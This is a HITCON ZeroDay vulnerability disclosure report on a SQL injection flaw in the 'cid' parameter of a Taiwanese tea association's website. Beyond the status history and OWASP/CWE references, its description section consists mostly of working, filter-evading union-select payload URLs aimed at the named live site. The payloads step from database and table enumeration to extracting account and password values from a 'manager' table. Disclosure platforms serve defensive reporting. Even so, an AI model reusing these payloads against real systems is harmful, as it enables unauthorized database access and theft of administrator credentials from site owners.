Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00049
- Vendor: 中華國際無我茶會推廣協會
- Title: 無我茶會存在資料庫注入漏洞
- Introduction: 資料庫注入漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/01/10 00:56:10 : 新提交 (由 taroballz 更新此狀態)
- 2018/01/10 01:12:21 : 新提交 (由 taroballz 更新此狀態)
- 2018/01/10 22:25:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/18 19:09:15 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/18 19:09:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/18 19:09:16 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/03/12 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00049
- 通報者:curtis992250 (taroballz)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
其cid值存在注入
查詢數據庫
payload : http://www.wu-wotea.com.tw/news.php?cid=12 /!union//!select//!1/,/!2/,/!database()/,/!4/,/!5/,/!6/--
查詢表名
payload : http://www.wu-wotea.com.tw/news.php?cid=12 /!union//!select//!1/,/!2/,/!table_name/,/!4/,/!5/,/!6/ from /!information_schema/.tables where table_schema=database()--
查詢manager表
http://www.wu-wotea.com.tw/news.php?cid=12 /!union//!select//!1/,/!2/,/!column_name/,/!4/,/!5/,/!6/ from /!information_schema/.columns where table_name=0x6d616e61676572--
查詢帳號密碼
帳號
http://www.wu-wotea.com.tw/news.php?cid=12 /!union//!select//!1/,/!2/,/!account/,/!4/,/!5/,/!6/ /!/-----sdfrofsdf^^^^^//-----fr/FrOM/asdfasdfafro*/%0a/*///!manager/--
密碼
http://www.wu-wotea.com.tw/news.php?cid=12 /!union//!select//!1/,/!2/,/!password/,/!4/,/!5/,/!6/ /!/-----sdfrofsdf^^^^^//-----fr/FrOM/asdfasdfafro*/%0a/*///!manager/--
sqlmap不能用真的很折騰